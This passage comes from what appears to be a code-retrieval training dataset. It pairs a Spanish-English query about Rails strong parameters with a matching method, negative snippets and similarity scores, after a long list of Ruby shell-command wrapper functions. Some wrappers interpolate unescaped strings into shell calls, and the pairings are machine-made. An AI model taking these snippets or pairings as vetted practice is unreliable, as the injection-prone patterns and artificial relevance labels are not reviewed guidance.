"def run_simple(*command, **opts, &b)\n\t\t\t# here the block is called in case of error\n\t\t\topts[:error_mode]=b if b\n\t\t\t_status, out, _error = run(*command, **opts)\n\t\t\treturn out\n\t\tend",
"def run_cmd(command, arguments = [], &block)\n shell_id = open_shell\n command_id = run_command(shell_id, command, arguments)\n command_output = get_command_output(shell_id, command_id, &block)\n cleanup_command(shell_id, command_id)\n close_shell(shell_id)\n command_output\n end",
"def run_in_shell(cmd, ret = false)\n\treturn `#{cmd}` if ret\n\tsystem cmd\nend",
"def run_command(cmd, *args)\n raise ArgumentError.new('missing required cmd to run') if cmd.nil?\n rd, wr = IO.pipe\n if fork\n wr.close\n if block_given?\n rd.each { |line| yield(line) }\n else\n rd.read\n end\n rd.close\n Process.wait\n else\n rd.close\n $stdout.reopen(wr)\n $stderr.reopen(wr)\n exec cmd, *args\n raise \"exec #{cmd} failed\"\n end\n $? == 0 # return a bool indicating a successful exit\nend",
"def run_shell_cmd(args)\n system(*args)\n raise \"command exited with a nonzero status code #{$?.exitstatus} (command: #{args.join(' ')})\" if !$?.success?\n end",
"def runSystemSafe(*cmd_and_args)\n onError 'Empty runSystemSafe command' if cmd_and_args.empty?\n\n if !File.exist?(cmd_and_args[0]) || !Pathname.new(cmd_and_args[0]).absolute?\n # check that the command exists if it is not a full path to a file\n requireCMD cmd_and_args[0]\n end\n\n system(*cmd_and_args)\n $CHILD_STATUS.exitstatus\nend",
"def run_command(command, *args)\n `#{command} #{args.join(' ')} 2>/dev/null`\n end",
"def run\n raise \"`#{ real_command }' failed\" unless Kernel.system( real_command )\n end",
"def run(cmd)\n puts \"#{cmd}\"\n success = system(cmd)\n exit $?.exitstatus unless success\nend",
"def run_cmd_no_exception(cmd)\n #TODO: find a better way to handle command with errors\n begin\n result = Puppet::Util::Execution.execute([cmd], {:combine => true})\n rescue\n result\n end\n end",
"def run_cmd_no_exception(cmd)\n #TODO: find a better way to handle command with errors\n begin\n result = Puppet::Util::Execution.execute([cmd], {:combine => true})\n rescue\n result\n end\n end",
"def runSystemSafe(*cmdAndArgs)\n if cmdAndArgs.length < 1\n onError \"Empty runSystemSafe command\"\n end\n\n if !File.exists? cmdAndArgs[0] or !Pathname.new(cmdAndArgs[0]).absolute?\n # check that the command exists if it is not a full path to a file\n requireCMD cmdAndArgs[0]\n end\n\n system(*cmdAndArgs)\n $?.exitstatus\nend",
"def safe_system(*cmd)\n exit 1 unless system(*cmd)\nend",
"def run_sh(cmd)\n sh cmd\nrescue StandardError\n # ignored\nend",
"def run_sh(cmd)\n begin; sh cmd; rescue; end\nend",
"def run(command, args = nil)\n line = nil\n if args\n args = args.map(&:to_s)\n line = \"#{command} #{args.join(\" \")}\"\n vputs line\n system(command, *args)\n else\n line = command\n vputs line\n system(command)\n end\n if $? != 0\n if $?.termsig == Signal.list[\"INT\"]\n raise \"#{line} interrupted\"\n end\n raise RunError, \"#{line} failed : #{$?.to_i / 256}\"\n end\n end",
"def exec!(command, status: T.unsafe(nil), &block); end",
"def systemOrDie(*cmd)\n puts 'executes: ' + cmd.join(' ')\n ret = system(*cmd)\n raise \"Failed to execute command: \" + cmd.join(' ') if !ret\n end",
"def run_command(cmd)\n IO.popen(cmd) do |stdout|\n stdout.reject(&:empty?)\n end.unshift($?.exitstatus.zero?)\nend",
"def run_command(cmd)\n IO.popen(cmd) do |stdout|\n stdout.reject(&:empty?)\n end.unshift($?.exitstatus.zero?)\nend",
"def safe_system cmd, *args\n raise ExecutionError.new($?) unless system(cmd, *args)\n end",
"def sh(command,options={},&block)\n sh_logger.debug(\"Executing '#{command}'\")\n\n stdout,stderr,status = execution_strategy.run_command(command)\n process_status = OptparsePlus::ProcessStatus.new(status,options[:expected])\n\n sh_logger.warn(\"stderr output of '#{command}': #{stderr}\") unless stderr.strip.length == 0\n\n if process_status.success?\n sh_logger.debug(\"stdout output of '#{command}': #{stdout}\") unless stdout.strip.length == 0\n call_block(block,stdout,stderr,process_status.exitstatus) unless block.nil?\n else\n sh_logger.info(\"stdout output of '#{command}': #{stdout}\") unless stdout.strip.length == 0\n sh_logger.warn(\"Error running '#{command}'\")\n end\n\n process_status.exitstatus\n rescue *exception_meaning_command_not_found => ex\n sh_logger.error(\"Error running '#{command}': #{ex.message}\")\n 127\n end",
"def run_cmd(command, arguments = [], &block)\n tries ||= 2\n\n reset if command_count > max_commands\n ensure_open_shell!\n\n @command_count += 1\n result = nil\n service.run_command(shell, command, arguments) do |command_id|\n result = service.get_command_output(shell, command_id, &block)\n end\n result\n rescue WinRMWSManFault => e\n # Fault code 2150858843 may be raised if the shell id that the command is sent on\n # has been closed. One might see this on a target windows machine that has just\n # been provisioned and restarted the winrm service at the end of its provisioning\n # routine. If this hapens, we should give the command one more try.\n\n # Fault code 2147943418 may be raised if the shell is installing an msi and for\n # some reason it tries to read a registry key that has been deleted. This sometimes\n # happens for 2008r2 when installing the Chef omnibus msi.\n if %w(2150858843 2147943418).include?(e.fault_code) && (tries -= 1) > 0\n service.logger.debug('[WinRM] opening new shell since the current one failed')\n @shell = nil\n open\n retry\n else\n raise\n end\n end",
"def run_command(cmd)\n IO.popen(cmd) do |stdout|\n stdout.reject(&:empty?)\n end.unshift($CHILD_STATUS.exitstatus.zero?)\nend",
"def run_cmd(command, arguments = [], &block)\r\n command_output = nil\r\n open_shell do |shell_id|\r\n run_command(shell_id, command, arguments) do |command_id|\r\n command_output = get_command_output(shell_id, command_id, &block)\r\n end\r\n end\r\n command_output\r\n end",
"def run_command(*args, &blk)\n debug \"run_command\"\n \n cmd, args = prep_args(*args)\n \n #p [:run_command, cmd, blk.nil?]\n \n connect if !@rye_ssh || @rye_ssh.closed?\n raise Rye::NotConnected, @rye_host unless @rye_ssh && !@rye_ssh.closed?\n \n cmd_clean = Rye.escape(@rye_safe, cmd, args)\n \n # This following is the command we'll actually execute. cmd_clean\n # can be used for logging, otherwise the output is confusing.\n cmd_internal = prepend_env(cmd_clean)\n \n # Add the current working directory before the command if supplied. \n # The command will otherwise run in the user's home directory.\n if @rye_current_working_directory\n cwd = Rye.escape(@rye_safe, 'cd', @rye_current_working_directory)\n cmd_internal = '(%s; %s)' % [cwd, cmd_internal]\n end\n \n # ditto (same explanation as cwd)\n if @rye_current_umask\n cwd = Rye.escape(@rye_safe, 'umask', @rye_current_umask)\n cmd_internal = [cwd, cmd_internal].join(' && ')\n end\n \n ## NOTE: Do not raise a CommandNotFound exception in this method.\n # We want it to be possible to define methods to a single instance\n # of Rye::Box. i.e. def rbox.rm()...\n # can? returns the methods in Rye::Cmd so it would incorrectly\n # return false. We could use self.respond_to? but it's possible\n # to get a name collision. I could write a work around but I think\n # this is good enough for now. \n ## raise Rye::CommandNotFound unless self.can?(cmd)\n \n begin\n debug \"COMMAND: #{cmd_internal}\"\n\n if !@rye_quiet && @rye_pre_command_hook.is_a?(Proc)\n @rye_pre_command_hook.call(cmd_clean, user, host, nickname) \n end\n \n rap = Rye::Rap.new(self)\n rap.cmd = cmd_clean\n \n channel = net_ssh_exec!(cmd_internal, &blk)\n \n if channel[:exception]\n rap = channel[:exception].rap\n else\n rap.add_stdout(channel[:stdout].read || '')\n rap.add_stderr(channel[:stderr].read || '')\n rap.add_exit_status(channel[:exit_status])\n rap.exit_signal = channel[:exit_signal]\n end\n \n debug \"RESULT: %s \" % [rap.inspect]\n \n # It seems a convention for various commands to return -1\n # when something only mildly concerning happens. (ls even \n # returns -1 for apparently no reason sometimes). Anyway,\n # the real errors are the ones that are greater than zero.\n raise Rye::Err.new(rap) if rap.exit_status != 0\n \n rescue Exception => ex\n return rap if @rye_quiet\n choice = nil\n @rye_exception_hook.each_pair do |klass,act|\n next unless ex.kind_of? klass\n choice = act.call(ex, cmd_clean, user, host, nickname)\n break\n end\n if choice == :retry\n retry\n elsif choice == :skip\n # do nothing\n elsif choice == :interactive && !@rye_shell\n @rye_shell = true\n previous_state = @rye_sudo\n disable_sudo\n bash\n @rye_sudo = previous_state\n @rye_shell = false\n elsif !ex.is_a?(Interrupt)\n raise ex, ex.message\n end\n end\n \n if !@rye_quiet && @rye_post_command_hook.is_a?(Proc)\n @rye_post_command_hook.call(rap)\n end\n \n rap\n end",
"def run_command cmd, silent=false\n puts \"Running command: #{cmd}\" unless silent\n\n if silent\n `#{cmd}`\n else\n puts `#{cmd}`\n end\n\n return true if $?.exitstatus == 0\n\n puts \"Error running command '#{cmd}'\" unless silent\n false\nend",
"def try(command)\n system command\n if $? != 0 then\n raise \"Command: `#{command}` exited with code #{$?.exitstatus}\"\n end\nend",
"def try(command)\n system command\n if $? != 0 then\n raise \"Command: `#{command}` exited with code #{$?.exitstatus}\"\n end\nend",
"def try(command)\n system command\n if $? != 0 then\n raise \"Command: `#{command}` exited with code #{$?.exitstatus}\"\n end\nend",
"def sh!(*cmd)\n sh?(*cmd) || raise(\"returned #{$CHILD_STATUS}\")\nend",
"def system_check(cmd)\n success = system cmd\n raise \"Error running '#{cmd}'\" unless success \nend",
"def exec_shell(command, error_message, options = {})\n puts \"Running command: #{command}\" unless options[:silent] == true\n result = `#{command}`\n if options[:dont_fail_on_error] == true\n puts error_message unless $?.success?\n else\n fail_script_unless($?.success?, \"#{error_message}\\nShell failed: #{command}\\n#{result}\")\n end\n\n return result\n end",
"def run_command(command, ignore_failure = false)\n return Simp::Cli::ExecUtils::run_command(command, ignore_failure, logger)\n end",
"def run(cmd)\n log cmd\n system(cmd) or fail \"Command Failed: [#{cmd}]\"\n end",
"def run(cmd)\n log cmd\n system(cmd) or fail \"Command Failed: [#{cmd}]\"\n end",
"def run(cmd, opts = {}, &_block) # rubocop:disable Metrics/AbcSize, Metrics/MethodLength\n env, cmd = prepare_cmd(cmd)\n # Store last command. env and cmd flipped, because usualy we more\n # interested in command instead of environment\n Grably.last_command = [cmd, env]\n lines = ''\n status = Open3.popen2e(env, *cmd, opts) do |_stdin, stdout_and_stderr, thr|\n stdout_and_stderr.sync = true\n stdout_and_stderr.each do |l|\n lines += l\n yield(l) if block_given?\n end\n lines.chomp!\n thr.value\n end\n\n return lines if status.exitstatus.zero?\n # Store error and exitstatus for later use. It useful when building\n # CI piplines and one can use error message.\n Grably.last_command = [cmd, status.exitstatus, lines]\n raise 'error: '.red.bright + Shellwords.shelljoin(cmd).red + \"\\nfail log: #{lines}\".green\n end",
"def execute_command(command, options = {})\n executor = options[:execpipe] || method(:execpipe)\n args = [command]\n args << options[:failonfail] if options.include?(:failonfail)\n executor.call(*args) { |pipe| yield pipe }\n end",
"def run_capture(command, *args)\n if !args.empty?\n args = args.flatten.map { |i| shell_escape(i) }.join(\" \")\n command = \"#{command} #{args}\"\n end\n result = `#{command}`\n if $? != 0\n if $?.termsig == Signal.list[\"INT\"]\n raise \"#{command} interrupted\"\n end\n raise RunError, \"#{command} failed : #{$?.to_i / 256} #{result.inspect}\"\n end\n result\n end",
"def run_cmd(cmd)\n Mixlib::ShellOut.new(cmd).run_command.exitstatus == 0\nend",
"def run_command(cmd, exit_on_error = false)\n Bundler.with_clean_env do\n system(cmd)\n status = $CHILD_STATUS.exitstatus\n\n return false unless status != 0\n return true unless exit_on_error\n exit status\n end\nend",
"def system_check(cmd)\n puts \"=> '#{cmd}'\"\n success = system cmd\n raise \"Error running '#{cmd}'\" unless success \nend",
"def exec(command, &block); end",
"def execute_command!(*argv)\n execute_command(argv)\n raise Error.new(\"Command failed!\") unless $?.success?\n end",
"def try_to_run(command, verbose = false)\n r = system \"#{command}\";\n return r if r;\n $stderr.puts \"Process '#{command}' exited with #{$?.exitstatus}\"\n exit ($?.exitstatus)\nend",
"def run(cmd)\n runner.run(cmd, shell, nil)\n end",
"def execute_with_fail(typename, cmd, way)\n executor = proc { |compiled| execute(compiled) }\n @execlogic.execute_with_fail(typename, cmd, way, executor)\n end",
"def run_command!(command)\n command = parse_command(command)\n if COMMAND_WHITELIST.include?(command)\n send(command)\n else\n write_error_message(command)\n end\n end",
"def _run_command(command)\n require \"posix-spawn\"\n\n pid, stdin, stdout, stderr = POSIX::Spawn.popen4(command)\n Process.waitpid(pid)\n\n # $?.exitstatus contains exit status do something with it if non zero raise error maybe\n end",
"def run_command(command)\n command = \"true\" if command.to_s.strip.empty?\n with_shell_instance do\n stdin.puts wrapped_command(command)\n stdin.close\n out, err = stdout.read, stderr.read\n out, status, _ = raw_stdout_to_parts(out)\n return status, out, err\n end\n end",
"def run(command)\n\traise \"non-zero exit status: `#{command}`\" if !system(\"cd #{$root} && #{command}\")\nend",
"def run_command(cmd, *options, **shellout_options)\n so = Mixlib::ShellOut.new(create_command(cmd, *options), shellout_options)\n so.run_command\n so.error!\n so\n rescue Mixlib::ShellOut::ShellCommandFailed => e\n # Knife commands can include the password, so show a redacted version\n # of the command line along with the exit code, instead of the mixlib output\n pwd_index = options.index(\"--ssh-password\")\n options[pwd_index+1] = \"(hidden)\" if pwd_index && options.length > pwd_index+1\n redacted_cmd = create_command(cmd, options)\n message = \"#{redacted_cmd} returned #{so.exitstatus}\"\n if so.stderr\n message += \"\\n***********\\n\"\n message += so.stderr\n message += \"***********\\n\"\n end\n raise Runner::Exceptions::KnifeCommandFailed.new(message)\n end",
"def system!(cmd)\n unless system(cmd)\n raise <<-SYSTEM_CALL_FAILED\nThe following command failed:\n #{cmd}\nSYSTEM_CALL_FAILED\n end\nend",
"def run_simple(cmd, fail_on_error = true, exit_timeout = nil, io_wait_timeout = nil)\n command = run(cmd, exit_timeout, io_wait_timeout)\n @last_exit_status = process_monitor.stop_process(command)\n\n @timed_out = command.timed_out?\n\n if fail_on_error\n expect(command).to have_finished_in_time\n expect(command).to be_successfully_executed\n end\n end",
"def run_cmd cmd\n info cmd\n status = system(cmd)\n if status\n info(\"Woot! Woot! - command succeeded #{cmd}\")\n else\n error(\"Gahhhh! Bad status from #{cmd}\")\n end\n status\n end",
"def run(command,exit_on_error_with)\n info \"Running '#{command}'\"\n stdout_str, stderr_str, status = Open3.capture3(command)\n\n info stdout_str\n unless status.success?\n error stderr_str\n exit_now!(exit_on_error_with, \"There was a problem running '#{command}'\")\n end\nend",
"def run_command(*args)\n %x(#{args.join(\" \")})\n rescue IOError, SystemCallError\n nil\n end",
"def sh(cmd)\n output = `#{cmd}`\n if !$?.success?\n puts \"Command exited with failure code: #{cmd}\"\n puts \"Aborting.\"\n exit(1)\n end\n output\nend",
"def run_with_stderr(*cmd)\n result = IO.popen(cmd, err: [:child, :out]) do |io|\n block_given? ? yield(io) : io.read\n end\n String === result && result.empty? ? nil : result\n end",
"def run_inline(cmd, redact: nil)\n put_command(cmd, redact: redact)\n\n # `system`, by design (?!), hides stderr when the command fails.\n if ENV[\"PROJECTRB_USE_SYSTEM\"] == \"true\"\n if not system(*cmd)\n exit $?.exitstatus\n end\n else\n pid = spawn(*cmd)\n Process.wait pid\n if $?.exited?\n if !$?.success?\n exit $?.exitstatus\n end\n else\n error \"Command exited abnormally.\"\n exit 1\n end\n end\n end",
"def exec!(cmd, *args)\n cmd = Command.new(cmd, args)\n cmd.exec!\n end",
"def run_command(command)\n command = \"true\" if command.to_s.strip.empty?\n with_shell_instance do\n Chef::Log.debug(\"RVM::Shell::ChefWrapper executing: \" +\n \"[#{wrapped_command(command)}]\")\n stdin.puts wrapped_command(command)\n stdin.close\n out, err = stdout.read, stderr.read\n out, status, _ = raw_stdout_to_parts(out)\n return status, out, err\n end\n end",
"def run_command(command)\n command = \"true\" if command.to_s.strip.empty?\n with_shell_instance do\n Chef::Log.debug(\"RVM::Shell::ChefWrapper executing: \" +\n \"[#{wrapped_command(command)}]\")\n stdin.puts wrapped_command(command)\n stdin.close\n out, err = stdout.read, stderr.read\n out, status, _ = raw_stdout_to_parts(out)\n return status, out, err\n end\n end",
"def R!(command, &block)\n run!(command, &block)\n end",
"def execute(command)\n system \"#{command}\" # rubocop:disable UnneededInterpolation\nend",
"def run_cmd(command, arguments = [], &block)\n reset if command_count_exceeded?\n ensure_open_shell!\n\n @command_count += 1\n result = nil\n service.run_command(shell, command, arguments) do |command_id|\n result = service.get_command_output(shell, command_id, &block)\n end\n result\n end",
"def run_command(cmd)\n if config[:simulate]\n puts_and_logs \" - Simulate running \\\"#{cmd}\\\"\"\n return\n end\n if config[:debug]\n if config[:verbose]\n puts_and_logs \" - Running \\\"#{cmd}\\\"\"\n else\n logger.debug \" - Running \\\"#{cmd}\\\"\"\n end\n system cmd\n return\n end\n puts_and_logs \" - Running \\\"#{cmd}\\\"\" if config[:verbose]\n system(cmd + ' > /dev/null 2>&1')\n\n end",
"def run!(cmd)\n cmd = @before_run_block.call(cmd) if @before_run_block\n return false unless cmd\n say \"!txtgrn!> #{cmd}\" unless Runfile.quiet\n exec cmd\n end",
"def run(cmd)\n ENV['LANG'] = 'C'\n log \"Run: #{cmd}\"\n if dry_run\n return ['', 0]\n end\n stdout = `#{cmd} 2>&1`\n return_code = $?.exitstatus\n puts stdout\n puts \"Return: #{return_code}\"\n [stdout, return_code]\n end",
"def run_i(cmd_string, &block)\n\texit_status = nil\n\tOpen3.popen2e(cmd_string) do |stdin, stdout_and_stderr, wait_thr|\n\t\toutput = nil\n\t\tbegin\n\t\t\toutput = stdout_and_stderr.gets\n\t\t\tputs output\n\t\tend while output\n\t\t\n\t\t\n\t\texit_status = wait_thr.value\n\tend\n\t\n\tif block\n\t\t# call the block if there is an error\n\t\traise block.call if exit_status != 0\n\tend\n\t\n\treturn exit_status\nend",
"def run(command, *args)\n command_name = \"lxc-#{command}\"\n\n unless BIN_FILES.include?(command_name)\n raise ArgumentError, \"Invalid command: #{command_name}.\"\n end\n\n cmd = \"\"\n cmd << \"sudo \" if use_sudo == true\n cmd << \"#{command_name} #{args.join(\" \")}\".strip\n cmd << \" | #{yield}\" if block_given?\n\n # Debug if LXC_DEBUG env is set\n if ENV[\"LXC_DEBUG\"]\n puts \"Executing: #{cmd}\"\n end\n\n out = `#{cmd.strip}`\n end",
"def sys cmd\n puts cmd\n system cmd\n raise \"Running '#{cmd}' failed\" if $? != 0\nend",
"def sh(cmd)\n #TODO: optimize by removing the extra shell\n #the Process class should be useful.\n $stderr.puts cmd\n if (!system(cmd)) then\n error \"Command failed: '#{$?}'\"\n end\nend",
"def run(cmd, capture_stderr=true)\n notice \"Running: \" + cmd.color(:white)\n cmd += \" 2>&1\" if capture_stderr\n\n out = \"\"\n IO.popen(cmd) do |f|\n while l = f.gets\n out += l\n msg \" \" + l\n end\n end\n\n raise CmdFailedError.new(\"Command '#{cmd}' had exit status #{$?.to_i}\") if $? != 0\n out\n end",
"def shell_without_capturing_output(c,display,dry_run)\n if display then $stderr.print c+\"\\n\" end\n r = system(c) unless dry_run\n if r.nil? then\n return [false,$?]\n else\n return [true]\n end\n # for capturing output: http://stackoverflow.com/a/5970819/1142217\n # stdin, stdout, stderr, wait_thr = Open3.popen3('usermod', '-p', @options['shadow'], @options['username'])\n # stdout.gets(nil)\n # stderr.gets(nil)\n # exit_code = wait_thr.value\nend",
"def run_local(cmd)\n require 'English'\n\n system cmd\n return unless $CHILD_STATUS.exitstatus != 0\n\n puts 'exit code: ' + $CHILD_STATUS.exitstatus.to_s\n abort('Shell command failed, assuming you want to abort'.foreground(:red))\nend",
"def execute(*command, &block)\n # Get the options hash if it exists\n opts = {}\n opts = command.pop if command.last.is_a?(Hash)\n\n tries = 0\n tries = 3 if opts[:retryable]\n\n sleep = opts.fetch(:sleep, 1)\n\n # Variable to store our execution result\n r = nil\n\n retryable(:on => LXC::Errors::ExecuteError, :tries => tries, :sleep => sleep) do\n # Execute the command\n r = raw(*command, &block)\n\n # If the command was a failure, then raise an exception that is\n # nicely handled by Vagrant.\n if r.exit_code != 0\n if @interrupted\n @logger.info(\"Exit code != 0, but interrupted. Ignoring.\")\n else\n raise LXC::Errors::ExecuteError, :command => command.inspect\n end\n end\n end\n\n # Return the output, making sure to replace any Windows-style\n # newlines with Unix-style.\n r.stdout.gsub(\"\\r\\n\", \"\\n\")\n end",
"def run\n system(command)\n $?\n end",
"def run\n system(command)\n $?\n end",
"def execute!(command=nil)\n @command = command if command\n @result = \"\"\n if @ruby_impl\n # pure ruby implementation call\n rsh_ruby do |line|\n yield(line) if block_given?\n @result << line\n end\n else\n # OS'es rsh(1) call\n open \"|#{@executable} #{\"-n\" if @nullr} -l#{@ruser} -t#{@to} #{@host} #{@command}\" do |io|\n io.each do |line|\n yield(line) if block_given?\n @result << line\n end\n end\n end\n @result\n end",
"def system(cmd)\n puts cmd\n res = Kernel.system(cmd)\n if !res \n puts \"Failed running: #{cmd}\"\n exit 2\n end\nend",
"def run(*args, output: :capture, error: nil, fail_mode: :error, chomp: false, sudo: false, error_mode: nil, expected: nil, on_success: nil, quiet: nil, **opts)\n\t\t\tenv, args, spawn_opts=Run.process_command(*args, sudo: sudo, **opts)\n\n\t\t\tif args.is_a?(Array)\n\t\t\t\tif args.length > 1\n\t\t\t\t\tlaunch=args.shelljoin\n\t\t\t\telse\n\t\t\t\t\tlaunch=args.first #assume it has already been escaped\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tlaunch=args.to_s\n\t\t\tend\n\t\t\tlaunch+=\" 2>/dev/null\" if error==:quiet or quiet\n\t\t\tlaunch+=\" >/dev/null\" if output==:quiet\n\t\t\tout=err=nil\n\n\t\t\tbegin\n\t\t\t\tif error==:capture\n\t\t\t\t\tout, err, status=Open3.capture3(env, launch, spawn_opts)\n\t\t\t\telsif output==:capture\n\t\t\t\t\tout, status=Open3.capture2(env, launch, spawn_opts)\n\t\t\t\telse\n\t\t\t\t\tsystem(env, launch, spawn_opts)\n\t\t\t\t\tstatus=$?\n\t\t\t\tend\n\t\t\trescue => e\n\t\t\t\tstatus=false\n\t\t\t\tcase fail_mode\n\t\t\t\twhen :error\n\t\t\t\t\traise e\n\t\t\t\twhen :empty\n\t\t\t\t\tout=\"\"\n\t\t\t\twhen :nil\n\t\t\t\t\tout=nil\n\t\t\t\twhen Proc\n\t\t\t\t\tfail_mode.call(e)\n\t\t\t\tend\n\t\t\tend\n\t\t\tstatus=ProcessStatus.new(status, expected) if expected\n\t\t\tstatus_success=status.success? if status.respond_to? :success?\n\t\t\tyield status_success, out, err, status if block_given?\n\t\t\tif status_success\n\t\t\t\t# this block is called in case of success\n\t\t\t\ton_success.call(status, out, err) if on_success.is_a?(Proc)\n\t\t\telse # the command failed\n\t\t\t\tcase error_mode\n\t\t\t\twhen :nil\n\t\t\t\t\tout=nil\n\t\t\t\twhen :empty\n\t\t\t\t\tout=\"\"\n\t\t\t\twhen :error\n\t\t\t\t\traise RunError.new(\"Error running command '#{launch}': #{status}\")\n\t\t\t\twhen Proc\n\t\t\t\t\terror_mode.call(status, out, err)\n\t\t\t\tend\n\t\t\tend\n\t\t\tif chomp and out\n\t\t\t\tcase chomp\n\t\t\t\twhen :line, :lines\n\t\t\t\t\t#out is now an array\n\t\t\t\t\tout=out.each_line.map {|l| l.chomp}\n\t\t\t\telse\n\t\t\t\t\tout.chomp! \n\t\t\t\tend\n\t\t\tend\n\n\t\t\t# return out, error, status if error\n\t\t\treturn status, out, err\n\t\tend",
"def run_shell(command_to_run, opts = {})\n inventory_hash = File.exist?('spec/fixtures/litmus_inventory.yaml') ? inventory_hash_from_inventory_file : localhost_inventory_hash\n\n target_option = opts['targets'] || opts[:targets]\n if target_option.nil?\n target_node_name = targeting_localhost? ? 'litmus_localhost' : ENV.fetch('TARGET_HOST', nil)\n raise \"Target '#{target_node_name}' not found in spec/fixtures/litmus_inventory.yaml\" unless target_in_inventory?(inventory_hash, target_node_name)\n else\n target_node_name = search_for_target(target_option, inventory_hash)\n end\n\n bolt_result = run_command(command_to_run, target_node_name, config: nil, inventory: inventory_hash)\n\n raise \"shell failed\\n`#{command_to_run}`\\n======\\n#{bolt_result}\" if bolt_result.first['value']['exit_code'] != 0 && opts[:expect_failures] != true\n\n result = OpenStruct.new(exit_code: bolt_result.first['value']['exit_code'],\n exit_status: bolt_result.first['value']['exit_code'],\n stdout: bolt_result.first['value']['stdout'],\n stderr: bolt_result.first['value']['stderr'])\n yield result if block_given?\n result\n end",
"def executeCommand(command, dryRun)\n #N Without this, the command won't be echoed\n puts \"EXECUTE: #{command}\"\n #N Without this check, the command will be executed even if it is meant to be a dry run\n if not dryRun\n #N Without this, the command won't actualy be execute even when it is meant to be run\n system(command)\n #N Without this check, a failed command will be treated as if it had executed successfully\n checkProcessStatus(command)\n end\n end",
"def run_command(command)\n `#{command}`\nend",
"def process_command(cmd, args)\n commands.each do |command, options|\n if (options[:case_sensitive] && cmd == command) ||\n (!options[:case_sensitive] && cmd.downcase == command.downcase)\n #return options[:block].call(args)\n return instance_exec(args, &options[:block])\n end\n end\n throw :command_not_found\n end",
"def run_failed_command(broker, targets, command, **kwargs, &block)\n run_command(broker, targets, command) do |response_dataset|\n ensure_failed(broker, targets, response_dataset, **kwargs, &block)\n end\nend",
"def run_command(shell, whether_show_log=true, whether_reject_empty=true)\n result = IO.popen(shell) do |stdout| \n stdout.readlines#.reject(&method) \n end.map { |l| l.is_a?(String) ? string_format(l) : l }\n status = $?.exitstatus.zero?\n if !status or whether_show_log\n shell = string_format(shell).split(/\\n/).map { |line| \"\\t`\" + line + \"`\" }.join(\"\\n\")\n resstr = (result || [\"bash: no output\"]).map { |line| \"\\t\\t\" + line }.join\n puts \"%s\\n\\t\\t==> %s\\n%s\\n\" % [shell, status, resstr]\n end\n return result.unshift(status)\n end",
"def shell(command, output: false)\n command += ' > /dev/null 2>&1' if !output\n system(command)\nrescue => e\n lex(e, \"Failed to execute shell command: #{command}\")\nend",
"def shell_command(command)\n system(command)\n\n result = $?\n\n reporter.info\n if result.exitstatus == 0\n reporter.exclaim(\"Command exited with status code: 0\")\n else\n reporter.error(\"Command exited with status code: #{result.exitstatus}\")\n end\n end",
"def execute(*command, &block)\n # Execute the command\n r = raw(*command, &block)\n\n # If the command was a failure, then raise an exception that is\n # nicely handled by Vagrant.\n if r.exit_code != 0\n if @interrupted\n @logger.info(\"Exit code != 0, but interrupted. Ignoring.\")\n else\n raise Errors::VBoxManageError, :command => command.inspect\n end\n end\n\n # Return the output\n r.stdout\n end",
"def execute(*cmd)\n yield \"$ #{cmd.join(' ')}\" if block_given?\n output = ''\n\n Open3.popen2e(*cmd) do |_stdin, stdout_err, wait_thread|\n loop do\n line = stdout_err.gets\n break unless line\n\n output << line\n yield line if block_given?\n end\n\n exit_status = wait_thread.value\n raise ExecutionError, \"#{cmd.join(' ')} failed\" unless exit_status.success?\n end\n output\n end",
"def safe_system cmd, *args\n homebrew_fork_system(cmd, *args) or raise Hbc::ErrorDuringExecution.new(cmd, args)\nend"
] | [
"0.6740893",
"0.6740893",
"0.6527088",
"0.6480377",
"0.64657855",
"0.6446945",
"0.6399366",
"0.6376634",
"0.6336044",
"0.63311404",
"0.6326178",
"0.63043284",
"0.630221",
"0.62911665",
"0.6291144",
"0.6273557",
"0.6254009",
"0.6254009",
"0.61839235",
"0.61666405",
"0.61283475",
"0.61068803",
"0.6081924",
"0.6079635",
"0.60642284",
"0.6051282",
"0.6051282",
"0.6022314",
"0.60115004",
"0.5995633",
"0.5991345",
"0.5989116",
"0.59870356",
"0.59868026",
"0.5972079",
"0.5972079",
"0.5972079",
"0.5966694",
"0.59315956",
"0.59244144",
"0.5908121",
"0.59072214",
"0.59072214",
"0.587962",
"0.58723444",
"0.58711755",
"0.58629525",
"0.5856151",
"0.5848222",
"0.58433187",
"0.5838883",
"0.58313143",
"0.58308613",
"0.58105564",
"0.5795146",
"0.57948357",
"0.5792762",
"0.57862705",
"0.57710356",
"0.57271224",
"0.5726186",
"0.57094264",
"0.56728345",
"0.56691736",
"0.5668902",
"0.5668722",
"0.56587815",
"0.56507087",
"0.56222355",
"0.56222355",
"0.56061226",
"0.5594224",
"0.5593446",
"0.5570853",
"0.55663544",
"0.55615866",
"0.5561305",
"0.5554241",
"0.55519295",
"0.55319923",
"0.5529354",
"0.552926",
"0.55279964",
"0.5523394",
"0.55207115",
"0.55207115",
"0.5520374",
"0.55140793",
"0.5504356",
"0.5493662",
"0.5491141",
"0.5457661",
"0.5457591",
"0.5455901",
"0.54504067",
"0.54473025",
"0.544652",
"0.5439024",
"0.5438317",
"0.54374146"
] | 0.64201325 | 6 |
Strong params (Buenas Practicas) Refactor code and security params | def strong_article_params
params.require(:article).permit(:title,:status,:content,category_elements: [])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end",
"def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end",
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def user_params #este metodo SE PUEDE LLAMAR COMO QUIERAS, pero es necesario para que al crear un objeto se autorice su creacion (porque si no nos podrían meter codigo malicioso)\n\t\tparams.require(:user).permit(:name, :email, :password)\n\tend",
"def valid_for_params_auth?; end",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def valid_params?; end",
